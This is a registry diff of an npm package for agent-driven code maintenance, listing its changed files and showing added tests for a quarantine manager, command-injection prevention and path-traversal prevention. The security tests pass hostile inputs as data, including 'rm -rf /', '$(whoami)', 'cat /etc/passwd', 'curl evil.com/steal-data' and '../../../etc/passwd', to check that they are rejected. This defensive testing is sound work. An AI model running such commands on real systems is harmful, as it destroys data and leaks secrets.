claude-mycelium 2.0.0 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/.agent-meta/_inhibitors.ndjson +1287 -0
  2. package/.agent-meta/_quarantine.json +45 -0
  3. package/.agent-meta/config.json +9 -0
  4. package/.agent-meta/tasks/_active.json +4 -0
  5. package/.agent-meta/tasks/task_0657b028-05a0-4b0c-b0b9-a4eae3d66cd9.json +168 -0
  6. package/.claude/memory.db +0 -0
  7. package/.claude/settings.local.json +4 -1
  8. package/README.md +85 -233
  9. package/SECURITY.md +145 -0
  10. package/dist/agent/task-worker.d.ts +11 -0
  11. package/dist/agent/task-worker.d.ts.map +1 -0
  12. package/dist/agent/task-worker.js +173 -0
  13. package/dist/agent/task-worker.js.map +1 -0
  14. package/dist/agent/worker.d.ts +8 -0
  15. package/dist/agent/worker.d.ts.map +1 -0
  16. package/dist/agent/worker.js +97 -0
  17. package/dist/agent/worker.js.map +1 -0
  18. package/dist/bin.d.ts +7 -0
  19. package/dist/bin.d.ts.map +1 -0
  20. package/dist/bin.js +11 -0
  21. package/dist/bin.js.map +1 -0
  22. package/dist/cli/cost.d.ts +10 -0
  23. package/dist/cli/cost.d.ts.map +1 -0
  24. package/dist/cli/cost.js +163 -0
  25. package/dist/cli/cost.js.map +1 -0
  26. package/dist/cli/gc.d.ts +10 -0
  27. package/dist/cli/gc.d.ts.map +1 -0
  28. package/dist/cli/gc.js +108 -0
  29. package/dist/cli/gc.js.map +1 -0
  30. package/dist/cli/gradients.d.ts +10 -0
  31. package/dist/cli/gradients.d.ts.map +1 -0
  32. package/dist/cli/gradients.js +70 -0
  33. package/dist/cli/gradients.js.map +1 -0
  34. package/dist/cli/grow.d.ts +17 -0
  35. package/dist/cli/grow.d.ts.map +1 -0
  36. package/dist/cli/grow.js +373 -0
  37. package/dist/cli/grow.js.map +1 -0
  38. package/dist/cli/index.d.ts +17 -0
  39. package/dist/cli/index.d.ts.map +1 -0
  40. package/dist/cli/index.js +74 -0
  41. package/dist/cli/index.js.map +1 -0
  42. package/dist/cli/init.d.ts +11 -0
  43. package/dist/cli/init.d.ts.map +1 -0
  44. package/dist/cli/init.js +97 -0
  45. package/dist/cli/init.js.map +1 -0
  46. package/dist/cli/status.d.ts +10 -0
  47. package/dist/cli/status.d.ts.map +1 -0
  48. package/dist/cli/status.js +191 -0
  49. package/dist/cli/status.js.map +1 -0
  50. package/dist/coordination/file-locks.d.ts +42 -0
  51. package/dist/coordination/file-locks.d.ts.map +1 -0
  52. package/dist/coordination/file-locks.js +269 -0
  53. package/dist/coordination/file-locks.js.map +1 -0
  54. package/dist/coordination/index.d.ts +4 -0
  55. package/dist/coordination/index.d.ts.map +1 -1
  56. package/dist/coordination/index.js +4 -0
  57. package/dist/coordination/index.js.map +1 -1
  58. package/dist/coordination/inhibitors.d.ts +84 -0
  59. package/dist/coordination/inhibitors.d.ts.map +1 -0
  60. package/dist/coordination/inhibitors.js +290 -0
  61. package/dist/coordination/inhibitors.js.map +1 -0
  62. package/dist/coordination/process-manager.d.ts +73 -0
  63. package/dist/coordination/process-manager.d.ts.map +1 -0
  64. package/dist/coordination/process-manager.js +144 -0
  65. package/dist/coordination/process-manager.js.map +1 -0
  66. package/dist/core/agent-executor.d.ts +4 -1
  67. package/dist/core/agent-executor.d.ts.map +1 -1
  68. package/dist/core/agent-executor.js +38 -12
  69. package/dist/core/agent-executor.js.map +1 -1
  70. package/dist/core/change-applier.d.ts +29 -5
  71. package/dist/core/change-applier.d.ts.map +1 -1
  72. package/dist/core/change-applier.js +254 -24
  73. package/dist/core/change-applier.js.map +1 -1
  74. package/dist/core/signals/churn.d.ts.map +1 -1
  75. package/dist/core/signals/churn.js +6 -4
  76. package/dist/core/signals/churn.js.map +1 -1
  77. package/dist/core/signals/debt.d.ts.map +1 -1
  78. package/dist/core/signals/debt.js +4 -3
  79. package/dist/core/signals/debt.js.map +1 -1
  80. package/dist/cost/cost-tracker.d.ts.map +1 -1
  81. package/dist/cost/cost-tracker.js +2 -0
  82. package/dist/cost/cost-tracker.js.map +1 -1
  83. package/dist/gc/index.d.ts +17 -0
  84. package/dist/gc/index.d.ts.map +1 -0
  85. package/dist/gc/index.js +17 -0
  86. package/dist/gc/index.js.map +1 -0
  87. package/dist/gc/runner.d.ts +39 -0
  88. package/dist/gc/runner.d.ts.map +1 -0
  89. package/dist/gc/runner.js +277 -0
  90. package/dist/gc/runner.js.map +1 -0
  91. package/dist/gc/trace-compactor.d.ts +31 -0
  92. package/dist/gc/trace-compactor.d.ts.map +1 -0
  93. package/dist/gc/trace-compactor.js +162 -0
  94. package/dist/gc/trace-compactor.js.map +1 -0
  95. package/dist/index.d.ts +5 -1
  96. package/dist/index.d.ts.map +1 -1
  97. package/dist/index.js +6 -1
  98. package/dist/index.js.map +1 -1
  99. package/dist/prompts/index.d.ts +2 -1
  100. package/dist/prompts/index.d.ts.map +1 -1
  101. package/dist/prompts/index.js.map +1 -1
  102. package/dist/quarantine/explorer.d.ts +65 -0
  103. package/dist/quarantine/explorer.d.ts.map +1 -0
  104. package/dist/quarantine/explorer.js +175 -0
  105. package/dist/quarantine/explorer.js.map +1 -0
  106. package/dist/quarantine/index.d.ts +7 -0
  107. package/dist/quarantine/index.d.ts.map +1 -0
  108. package/dist/quarantine/index.js +7 -0
  109. package/dist/quarantine/index.js.map +1 -0
  110. package/dist/quarantine/manager.d.ts +75 -0
  111. package/dist/quarantine/manager.d.ts.map +1 -0
  112. package/dist/quarantine/manager.js +275 -0
  113. package/dist/quarantine/manager.js.map +1 -0
  114. package/dist/task/acceptance.d.ts +29 -0
  115. package/dist/task/acceptance.d.ts.map +1 -0
  116. package/dist/task/acceptance.js +228 -0
  117. package/dist/task/acceptance.js.map +1 -0
  118. package/dist/task/agent-coordinator.d.ts +40 -0
  119. package/dist/task/agent-coordinator.d.ts.map +1 -0
  120. package/dist/task/agent-coordinator.js +168 -0
  121. package/dist/task/agent-coordinator.js.map +1 -0
  122. package/dist/task/executor.d.ts +37 -0
  123. package/dist/task/executor.d.ts.map +1 -0
  124. package/dist/task/executor.js +462 -0
  125. package/dist/task/executor.js.map +1 -0
  126. package/dist/task/index.d.ts +12 -0
  127. package/dist/task/index.d.ts.map +1 -0
  128. package/dist/task/index.js +12 -0
  129. package/dist/task/index.js.map +1 -0
  130. package/dist/task/planner.d.ts +21 -0
  131. package/dist/task/planner.d.ts.map +1 -0
  132. package/dist/task/planner.js +253 -0
  133. package/dist/task/planner.js.map +1 -0
  134. package/dist/task/storage.d.ts +46 -0
  135. package/dist/task/storage.d.ts.map +1 -0
  136. package/dist/task/storage.js +266 -0
  137. package/dist/task/storage.js.map +1 -0
  138. package/dist/trace/trace-event.d.ts +2 -18
  139. package/dist/trace/trace-event.d.ts.map +1 -1
  140. package/dist/trace/trace-event.js +6 -6
  141. package/dist/trace/trace-event.js.map +1 -1
  142. package/dist/utils/file-utils.d.ts.map +1 -1
  143. package/dist/utils/file-utils.js +54 -15
  144. package/dist/utils/file-utils.js.map +1 -1
  145. package/docs/PHASE5_IMPLEMENTATION.md +237 -0
  146. package/docs/PHASES-3-7-COMPLETE.md +177 -0
  147. package/docs/PHASE_4_COMPLETE.md +135 -0
  148. package/docs/PHASE_7_DELIVERABLES.md +295 -0
  149. package/docs/PHASE_7_IMPLEMENTATION.md +306 -0
  150. package/docs/PHASE_7_SUMMARY.txt +195 -0
  151. package/docs/RELEASE-NOTES-v2.1.md +213 -0
  152. package/docs/ROADMAP.md +194 -107
  153. package/docs/SECURITY-AUDIT.md +387 -0
  154. package/docs/SNAPSHOT.md +59 -32
  155. package/docs/implementation/phase3-summary.md +220 -0
  156. package/package.json +27 -11
  157. package/src/agent/task-worker.ts +196 -0
  158. package/src/agent/worker.ts +111 -0
  159. package/src/bin.ts +13 -0
  160. package/src/cli/cost.ts +210 -0
  161. package/src/cli/gc.ts +138 -0
  162. package/src/cli/gradients.ts +97 -0
  163. package/src/cli/grow.ts +416 -0
  164. package/src/cli/index.ts +81 -0
  165. package/src/cli/init.ts +139 -0
  166. package/src/cli/status.ts +218 -0
  167. package/src/coordination/file-locks.ts +300 -0
  168. package/src/coordination/index.ts +4 -0
  169. package/src/coordination/inhibitors.ts +345 -0
  170. package/src/coordination/process-manager.ts +199 -0
  171. package/src/core/agent-executor.ts +37 -8
  172. package/src/core/signals/churn.ts +8 -5
  173. package/src/core/signals/debt.ts +4 -3
  174. package/src/cost/cost-tracker.ts +2 -0
  175. package/src/gc/index.ts +17 -0
  176. package/src/gc/runner.ts +314 -0
  177. package/src/gc/trace-compactor.ts +187 -0
  178. package/src/index.ts +7 -1
  179. package/src/prompts/index.ts +2 -1
  180. package/src/quarantine/explorer.ts +234 -0
  181. package/src/quarantine/index.ts +7 -0
  182. package/src/quarantine/manager.ts +336 -0
  183. package/src/task/acceptance.ts +267 -0
  184. package/src/task/agent-coordinator.ts +220 -0
  185. package/src/task/executor.ts +543 -0
  186. package/src/task/index.ts +38 -0
  187. package/src/task/planner.ts +294 -0
  188. package/src/task/storage.ts +332 -0
  189. package/src/trace/trace-event.ts +7 -26
  190. package/src/utils/file-utils.ts +61 -15
  191. package/tests/cli/gc.test.ts +206 -0
  192. package/tests/cli/init.test.ts +181 -0
  193. package/tests/cli/status.test.ts +282 -0
  194. package/tests/coordination/file-locks.test.ts +196 -0
  195. package/tests/coordination/inhibitors.test.ts +459 -0
  196. package/tests/coordination/integration.test.ts +195 -0
  197. package/tests/coordination/process-manager.test.ts +165 -0
  198. package/tests/gc/trace-compactor.test.ts +245 -0
  199. package/tests/integration/phase-7.test.ts +145 -0
  200. package/tests/quarantine/explorer.test.ts +381 -0
  201. package/tests/quarantine/manager.test.ts +399 -0
  202. package/tests/security/command-injection.test.ts +88 -0
  203. package/tests/security/path-traversal.test.ts +103 -0
  204. package/tests/task/acceptance.test.ts +411 -0
  205. package/tests/task/executor.test.ts +421 -0
  206. package/tests/task/planner.test.ts +359 -0
  207. package/tests/trace/trace-event.test.ts +62 -20
  208. package/tsconfig.json +2 -2
@@ -0,0 +1,399 @@
1
+ /**
2
+ * Tests for Quarantine Manager
3
+ * Validates quarantine triggers, tracking, and release
4
+ */
5
+
6
+ import { describe, it, expect, beforeEach, afterEach } from 'vitest';
7
+ import * as fs from 'fs';
8
+ import * as path from 'path';
9
+ import {
10
+ shouldQuarantine,
11
+ addToQuarantine,
12
+ isQuarantined,
13
+ getQuarantineEntry,
14
+ canExplorerAttempt,
15
+ recordExplorerAttempt,
16
+ checkQuarantineRelease,
17
+ removeFromQuarantine,
18
+ getQuarantinedFiles,
19
+ checkAndQuarantine,
20
+ getQuarantineStats,
21
+ } from '../../src/quarantine/manager.js';
22
+ import type { TraceEvent } from '../../src/trace/trace-event.js';
23
+
24
+ describe('Quarantine Manager', () => {
25
+ let TEST_DIR: string;
26
+ let QUARANTINE_FILE: string;
27
+
28
+ beforeEach(() => {
29
+ // Create unique test directory for each test
30
+ TEST_DIR = `.agent-meta-test-${Date.now()}-${Math.random().toString(36).slice(2)}`;
31
+ QUARANTINE_FILE = path.join(TEST_DIR, '_quarantine.json');
32
+
33
+ if (!fs.existsSync(TEST_DIR)) {
34
+ fs.mkdirSync(TEST_DIR, { recursive: true });
35
+ }
36
+
37
+ // Override file path for testing
38
+ process.env.TEST_META_DIR = TEST_DIR;
39
+ });
40
+
41
+ afterEach(() => {
42
+ // Cleanup test files
43
+ if (fs.existsSync(TEST_DIR)) {
44
+ fs.rmSync(TEST_DIR, { recursive: true, force: true });
45
+ }
46
+ // Clean up environment
47
+ delete process.env.TEST_META_DIR;
48
+ });
49
+
50
+ const createMockTrace = (efficiency: number): TraceEvent => ({
51
+ id: `trace-${Date.now()}-${Math.random()}`,
52
+ timestamp: new Date().toISOString(),
53
+ agent_id: 'test-agent',
54
+ file_path: 'test.ts',
55
+ mode: 'error_reducer',
56
+ gradient_before: 0.5,
57
+ gradient_after: 0.48,
58
+ gradient_delta: 0.02,
59
+ changes_made: [],
60
+ tokens_used: 1000,
61
+ cost_usd: 0.01,
62
+ duration_ms: 1000,
63
+ success: true,
64
+ efficiency,
65
+ ci_passed: true,
66
+ changes: {
67
+ additions: 1,
68
+ deletions: 1,
69
+ files_touched: ['test.ts'],
70
+ },
71
+ cost: {
72
+ tokens_in: 500,
73
+ tokens_out: 500,
74
+ model: 'claude-sonnet-4',
75
+ estimated_usd: 0.01,
76
+ },
77
+ });
78
+
79
+ const createGetTracesForFile = (traces: TraceEvent[]) => {
80
+ return async (file: string) => traces.filter(t => t.file_path === file);
81
+ };
82
+
83
+ describe('shouldQuarantine', () => {
84
+ it('should return false with insufficient samples (<10)', async () => {
85
+ const traces = Array(5)
86
+ .fill(0)
87
+ .map(() => createMockTrace(0.01)); // All poor efficiency
88
+
89
+ const result = await shouldQuarantine('test.ts', createGetTracesForFile(traces));
90
+ expect(result).toBe(false);
91
+ });
92
+
93
+ it('should return true with 10 samples all below 0.02 efficiency', async () => {
94
+ const traces = Array(10)
95
+ .fill(0)
96
+ .map(() => createMockTrace(0.01)); // All below threshold
97
+
98
+ const result = await shouldQuarantine('test.ts', createGetTracesForFile(traces));
99
+ expect(result).toBe(true);
100
+ });
101
+
102
+ it('should return false if any sample exceeds 0.02 efficiency', async () => {
103
+ const traces = [
104
+ ...Array(9)
105
+ .fill(0)
106
+ .map(() => createMockTrace(0.01)),
107
+ createMockTrace(0.05), // One good sample
108
+ ];
109
+
110
+ const result = await shouldQuarantine('test.ts', createGetTracesForFile(traces));
111
+ expect(result).toBe(false);
112
+ });
113
+
114
+ it('should only check last 10 samples', async () => {
115
+ const traces = [
116
+ // Old samples (will be ignored)
117
+ ...Array(5)
118
+ .fill(0)
119
+ .map(() => createMockTrace(0.5)),
120
+ // Recent 10 samples (all poor)
121
+ ...Array(10)
122
+ .fill(0)
123
+ .map(() => createMockTrace(0.01)),
124
+ ];
125
+
126
+ const result = await shouldQuarantine('test.ts', createGetTracesForFile(traces));
127
+ expect(result).toBe(true);
128
+ });
129
+ });
130
+
131
+ describe('addToQuarantine and isQuarantined', () => {
132
+ it('should add file to quarantine', async () => {
133
+ await addToQuarantine({
134
+ file: 'test.ts',
135
+ quarantined_at: new Date().toISOString(),
136
+ reason: 'No progress after 10 attempts',
137
+ attempts_before_quarantine: 10,
138
+ explorer_attempts: 0,
139
+ max_explorer_attempts: 3,
140
+ });
141
+
142
+ const quarantined = await isQuarantined('test.ts');
143
+ expect(quarantined).toBe(true);
144
+ });
145
+
146
+ it('should return false for non-quarantined file', async () => {
147
+ const quarantined = await isQuarantined('not-quarantined.ts');
148
+ expect(quarantined).toBe(false);
149
+ });
150
+
151
+ it('should not duplicate quarantine entry', async () => {
152
+ const entry = {
153
+ file: 'test.ts',
154
+ quarantined_at: new Date().toISOString(),
155
+ reason: 'Test',
156
+ attempts_before_quarantine: 10,
157
+ explorer_attempts: 0,
158
+ max_explorer_attempts: 3,
159
+ };
160
+
161
+ await addToQuarantine(entry);
162
+ await addToQuarantine(entry); // Try to add again
163
+
164
+ const files = await getQuarantinedFiles();
165
+ expect(files.length).toBe(1);
166
+ });
167
+ });
168
+
169
+ describe('explorer attempts', () => {
170
+ it('should track explorer attempts', async () => {
171
+ await addToQuarantine({
172
+ file: 'test.ts',
173
+ quarantined_at: new Date().toISOString(),
174
+ reason: 'Test',
175
+ attempts_before_quarantine: 10,
176
+ explorer_attempts: 0,
177
+ max_explorer_attempts: 3,
178
+ });
179
+
180
+ // Initial state
181
+ expect(await canExplorerAttempt('test.ts')).toBe(true);
182
+
183
+ // Record attempts
184
+ await recordExplorerAttempt('test.ts');
185
+ expect(await canExplorerAttempt('test.ts')).toBe(true); // 1/3
186
+
187
+ await recordExplorerAttempt('test.ts');
188
+ expect(await canExplorerAttempt('test.ts')).toBe(true); // 2/3
189
+
190
+ await recordExplorerAttempt('test.ts');
191
+ expect(await canExplorerAttempt('test.ts')).toBe(false); // 3/3 exhausted
192
+ });
193
+
194
+ it('should update explorer_attempts counter', async () => {
195
+ await addToQuarantine({
196
+ file: 'test.ts',
197
+ quarantined_at: new Date().toISOString(),
198
+ reason: 'Test',
199
+ attempts_before_quarantine: 10,
200
+ explorer_attempts: 0,
201
+ max_explorer_attempts: 3,
202
+ });
203
+
204
+ await recordExplorerAttempt('test.ts');
205
+ await recordExplorerAttempt('test.ts');
206
+
207
+ const entry = await getQuarantineEntry('test.ts');
208
+ expect(entry?.explorer_attempts).toBe(2);
209
+ });
210
+ });
211
+
212
+ describe('checkQuarantineRelease', () => {
213
+ it('should release quarantine on successful explorer run', async () => {
214
+ await addToQuarantine({
215
+ file: 'test.ts',
216
+ quarantined_at: new Date().toISOString(),
217
+ reason: 'Test',
218
+ attempts_before_quarantine: 10,
219
+ explorer_attempts: 0,
220
+ max_explorer_attempts: 3,
221
+ });
222
+
223
+ const successfulTrace = createMockTrace(0.25); // Good efficiency
224
+ successfulTrace.mode = 'explorer';
225
+ successfulTrace.file_path = 'test.ts';
226
+
227
+ const released = await checkQuarantineRelease('test.ts', successfulTrace);
228
+ expect(released).toBe(true);
229
+
230
+ const stillQuarantined = await isQuarantined('test.ts');
231
+ expect(stillQuarantined).toBe(false);
232
+ });
233
+
234
+ it('should not release if efficiency too low', async () => {
235
+ await addToQuarantine({
236
+ file: 'test.ts',
237
+ quarantined_at: new Date().toISOString(),
238
+ reason: 'Test',
239
+ attempts_before_quarantine: 10,
240
+ explorer_attempts: 0,
241
+ max_explorer_attempts: 3,
242
+ });
243
+
244
+ const poorTrace = createMockTrace(0.15); // Poor efficiency (<0.2)
245
+ poorTrace.mode = 'explorer';
246
+ poorTrace.file_path = 'test.ts';
247
+
248
+ const released = await checkQuarantineRelease('test.ts', poorTrace);
249
+ expect(released).toBe(false);
250
+
251
+ const stillQuarantined = await isQuarantined('test.ts');
252
+ expect(stillQuarantined).toBe(true);
253
+ });
254
+
255
+ it('should not release if mode is not explorer', async () => {
256
+ await addToQuarantine({
257
+ file: 'test.ts',
258
+ quarantined_at: new Date().toISOString(),
259
+ reason: 'Test',
260
+ attempts_before_quarantine: 10,
261
+ explorer_attempts: 0,
262
+ max_explorer_attempts: 3,
263
+ });
264
+
265
+ const nonExplorerTrace = createMockTrace(0.25);
266
+ nonExplorerTrace.mode = 'error_reducer'; // Not explorer
267
+ nonExplorerTrace.file_path = 'test.ts';
268
+
269
+ const released = await checkQuarantineRelease('test.ts', nonExplorerTrace);
270
+ expect(released).toBe(false);
271
+ });
272
+ });
273
+
274
+ describe('checkAndQuarantine', () => {
275
+ it('should quarantine file when conditions met', async () => {
276
+ const traces = Array(10)
277
+ .fill(0)
278
+ .map(() => createMockTrace(0.01));
279
+
280
+ await checkAndQuarantine('test.ts', createGetTracesForFile(traces));
281
+
282
+ const quarantined = await isQuarantined('test.ts');
283
+ expect(quarantined).toBe(true);
284
+
285
+ const entry = await getQuarantineEntry('test.ts');
286
+ expect(entry?.attempts_before_quarantine).toBe(10);
287
+ expect(entry?.explorer_attempts).toBe(0);
288
+ expect(entry?.max_explorer_attempts).toBe(3);
289
+ });
290
+
291
+ it('should not quarantine if already quarantined', async () => {
292
+ await addToQuarantine({
293
+ file: 'test.ts',
294
+ quarantined_at: new Date().toISOString(),
295
+ reason: 'Already quarantined',
296
+ attempts_before_quarantine: 5,
297
+ explorer_attempts: 1,
298
+ max_explorer_attempts: 3,
299
+ });
300
+
301
+ const traces = Array(10)
302
+ .fill(0)
303
+ .map(() => createMockTrace(0.01));
304
+
305
+ await checkAndQuarantine('test.ts', createGetTracesForFile(traces));
306
+
307
+ const entry = await getQuarantineEntry('test.ts');
308
+ // Should preserve original entry
309
+ expect(entry?.reason).toBe('Already quarantined');
310
+ expect(entry?.attempts_before_quarantine).toBe(5);
311
+ expect(entry?.explorer_attempts).toBe(1);
312
+ });
313
+ });
314
+
315
+ describe('getQuarantineStats', () => {
316
+ it('should return correct statistics', async () => {
317
+ // Add files with different explorer attempt states
318
+ await addToQuarantine({
319
+ file: 'file1.ts',
320
+ quarantined_at: new Date().toISOString(),
321
+ reason: 'Test 1',
322
+ attempts_before_quarantine: 10,
323
+ explorer_attempts: 0,
324
+ max_explorer_attempts: 3,
325
+ });
326
+
327
+ await addToQuarantine({
328
+ file: 'file2.ts',
329
+ quarantined_at: new Date().toISOString(),
330
+ reason: 'Test 2',
331
+ attempts_before_quarantine: 10,
332
+ explorer_attempts: 2,
333
+ max_explorer_attempts: 3,
334
+ });
335
+
336
+ await addToQuarantine({
337
+ file: 'file3.ts',
338
+ quarantined_at: new Date().toISOString(),
339
+ reason: 'Test 3',
340
+ attempts_before_quarantine: 10,
341
+ explorer_attempts: 3,
342
+ max_explorer_attempts: 3,
343
+ });
344
+
345
+ const stats = await getQuarantineStats();
346
+
347
+ expect(stats.total).toBe(3);
348
+ expect(stats.withExplorerAttempts).toBe(2); // file2 and file3
349
+ expect(stats.exhausted).toBe(1); // file3
350
+ });
351
+ });
352
+
353
+ describe('removeFromQuarantine', () => {
354
+ it('should remove file from quarantine', async () => {
355
+ await addToQuarantine({
356
+ file: 'test.ts',
357
+ quarantined_at: new Date().toISOString(),
358
+ reason: 'Test',
359
+ attempts_before_quarantine: 10,
360
+ explorer_attempts: 0,
361
+ max_explorer_attempts: 3,
362
+ });
363
+
364
+ expect(await isQuarantined('test.ts')).toBe(true);
365
+
366
+ await removeFromQuarantine('test.ts');
367
+
368
+ expect(await isQuarantined('test.ts')).toBe(false);
369
+ });
370
+ });
371
+
372
+ describe('getQuarantinedFiles', () => {
373
+ it('should return all quarantined files', async () => {
374
+ await addToQuarantine({
375
+ file: 'file1.ts',
376
+ quarantined_at: new Date().toISOString(),
377
+ reason: 'Test 1',
378
+ attempts_before_quarantine: 10,
379
+ explorer_attempts: 0,
380
+ max_explorer_attempts: 3,
381
+ });
382
+
383
+ await addToQuarantine({
384
+ file: 'file2.ts',
385
+ quarantined_at: new Date().toISOString(),
386
+ reason: 'Test 2',
387
+ attempts_before_quarantine: 15,
388
+ explorer_attempts: 1,
389
+ max_explorer_attempts: 3,
390
+ });
391
+
392
+ const files = await getQuarantinedFiles();
393
+
394
+ expect(files.length).toBe(2);
395
+ expect(files.map(f => f.file)).toContain('file1.ts');
396
+ expect(files.map(f => f.file)).toContain('file2.ts');
397
+ });
398
+ });
399
+ });
@@ -0,0 +1,88 @@
1
+ /**
2
+ * Security Tests: Command Injection Prevention
3
+ *
4
+ * Tests that file paths with malicious shell characters
5
+ * cannot be used to execute arbitrary commands.
6
+ */
7
+
8
+ import { describe, it, expect } from 'vitest';
9
+ import { calculateDebt } from '../../src/core/signals/debt.js';
10
+ import { calculateChurn } from '../../src/core/signals/churn.js';
11
+ import * as fs from 'fs';
12
+ import * as path from 'path';
13
+
14
+ describe('Command Injection Prevention', () => {
15
+ describe('debt signal', () => {
16
+ it('should safely handle file paths with shell metacharacters', async () => {
17
+ const maliciousPath = 'test.ts; rm -rf /; echo "pwned.ts';
18
+
19
+ // SECURITY: execFile prevents shell interpretation
20
+ // Function gracefully returns 0 when file doesn't exist
21
+ const result = await calculateDebt(maliciousPath);
22
+ expect(result).toEqual({ errors: 0, warnings: 0, normalized: 0 });
23
+ });
24
+
25
+ it('should safely handle file paths with command substitution', async () => {
26
+ const maliciousPath = 'test$(whoami).ts';
27
+
28
+ // SECURITY: execFile prevents command substitution
29
+ const result = await calculateDebt(maliciousPath);
30
+ expect(result).toEqual({ errors: 0, warnings: 0, normalized: 0 });
31
+ });
32
+
33
+ it('should safely handle file paths with backticks', async () => {
34
+ const maliciousPath = 'test`id`.ts';
35
+
36
+ // SECURITY: execFile prevents backtick execution
37
+ const result = await calculateDebt(maliciousPath);
38
+ expect(result).toEqual({ errors: 0, warnings: 0, normalized: 0 });
39
+ });
40
+
41
+ it('should handle files with quotes safely', async () => {
42
+ const testFile = path.join(process.cwd(), 'test"quote.ts');
43
+
44
+ // Create test file
45
+ try {
46
+ fs.writeFileSync(testFile, 'console.log("test");');
47
+
48
+ // Should not throw, but also should not execute shell commands
49
+ const result = await calculateDebt(testFile);
50
+ expect(result).toBeDefined();
51
+ } finally {
52
+ // Cleanup
53
+ if (fs.existsSync(testFile)) {
54
+ fs.unlinkSync(testFile);
55
+ }
56
+ }
57
+ });
58
+ });
59
+
60
+ describe('churn signal', () => {
61
+ it('should safely handle file paths with shell metacharacters', async () => {
62
+ const maliciousPath = 'test.ts; rm -rf /; echo "pwned.ts';
63
+
64
+ // SECURITY: execFile prevents shell interpretation
65
+ const result = await calculateChurn(maliciousPath);
66
+ expect(result.commits).toBe(0);
67
+ expect(result.normalized).toBe(0);
68
+ });
69
+
70
+ it('should safely handle file paths with pipe operators', async () => {
71
+ const maliciousPath = 'test.ts | cat /etc/passwd';
72
+
73
+ // SECURITY: execFile prevents pipe operators
74
+ const result = await calculateChurn(maliciousPath);
75
+ expect(result.commits).toBe(0);
76
+ expect(result.normalized).toBe(0);
77
+ });
78
+
79
+ it('should safely handle file paths with && operators', async () => {
80
+ const maliciousPath = 'test.ts && curl evil.com/steal-data';
81
+
82
+ // SECURITY: execFile prevents && operators
83
+ const result = await calculateChurn(maliciousPath);
84
+ expect(result.commits).toBe(0);
85
+ expect(result.normalized).toBe(0);
86
+ });
87
+ });
88
+ });
@@ -0,0 +1,103 @@
1
+ /**
2
+ * Security Tests: Path Traversal Prevention
3
+ *
4
+ * Tests that file operations cannot be used to access
5
+ * files outside the project directory.
6
+ */
7
+
8
+ import { describe, it, expect } from 'vitest';
9
+ import { readFile, writeFile, copyFile, deleteFile } from '../../src/utils/file-utils.js';
10
+ import * as path from 'path';
11
+
12
+ describe('Path Traversal Prevention', () => {
13
+ describe('readFile', () => {
14
+ it('should reject paths outside project directory', () => {
15
+ expect(() => {
16
+ readFile('../../../etc/passwd');
17
+ }).toThrow(/traversal|outside|forbidden/i);
18
+ });
19
+
20
+ it('should reject absolute paths to system files', () => {
21
+ expect(() => {
22
+ readFile('/etc/passwd');
23
+ }).toThrow(/traversal|outside|forbidden/i);
24
+ });
25
+
26
+ it('should reject paths with null bytes', () => {
27
+ expect(() => {
28
+ readFile('test\x00.ts');
29
+ }).toThrow();
30
+ });
31
+
32
+ it('should reject paths to .git directory', () => {
33
+ expect(() => {
34
+ readFile('.git/config');
35
+ }).toThrow(/protected|forbidden/i);
36
+ });
37
+
38
+ it('should reject paths to node_modules', () => {
39
+ expect(() => {
40
+ readFile('node_modules/malicious/index.js');
41
+ }).toThrow(/protected|forbidden/i);
42
+ });
43
+
44
+ it('should allow reading files in project directory', () => {
45
+ // Assuming package.json exists
46
+ expect(() => {
47
+ readFile('package.json');
48
+ }).not.toThrow();
49
+ });
50
+ });
51
+
52
+ describe('writeFile', () => {
53
+ it('should reject writing outside project directory', () => {
54
+ expect(() => {
55
+ writeFile('../../../tmp/malicious.txt', 'pwned');
56
+ }).toThrow(/traversal|outside|forbidden/i);
57
+ });
58
+
59
+ it('should reject writing to .git directory', () => {
60
+ expect(() => {
61
+ writeFile('.git/hooks/pre-commit', '#!/bin/bash\nrm -rf /');
62
+ }).toThrow(/protected|forbidden/i);
63
+ });
64
+
65
+ it('should reject writing to node_modules', () => {
66
+ expect(() => {
67
+ writeFile('node_modules/@malicious/package/index.js', 'evil code');
68
+ }).toThrow(/protected|forbidden/i);
69
+ });
70
+ });
71
+
72
+ describe('path normalization attacks', () => {
73
+ it('should handle Unicode path traversal safely', () => {
74
+ // U+2215 DIVISION SLASH - path.normalize handles this
75
+ expect(() => {
76
+ readFile('..\u2215..\u2215etc\u2215passwd');
77
+ }).toThrow(); // Will throw ENOENT or traversal error
78
+ });
79
+
80
+ it('should handle URL-encoded paths safely', () => {
81
+ // URL encoding doesn't bypass fs operations
82
+ expect(() => {
83
+ readFile('%2e%2e%2f%2e%2e%2fetc%2fpasswd');
84
+ }).toThrow(); // Will throw ENOENT (file doesn't exist with that name)
85
+ });
86
+
87
+ it('should handle double-encoded paths safely', () => {
88
+ // Double encoding doesn't bypass fs operations
89
+ expect(() => {
90
+ readFile('%252e%252e%252f%252e%252e%252fetc%252fpasswd');
91
+ }).toThrow(); // Will throw ENOENT
92
+ });
93
+ });
94
+
95
+ describe('symlink attacks', () => {
96
+ it('should follow symlinks within project only', () => {
97
+ // If a symlink points outside project, should reject
98
+ // This requires actual symlink creation to test properly
99
+ // Placeholder test - implement with real symlink if needed
100
+ expect(true).toBe(true);
101
+ });
102
+ });
103
+ });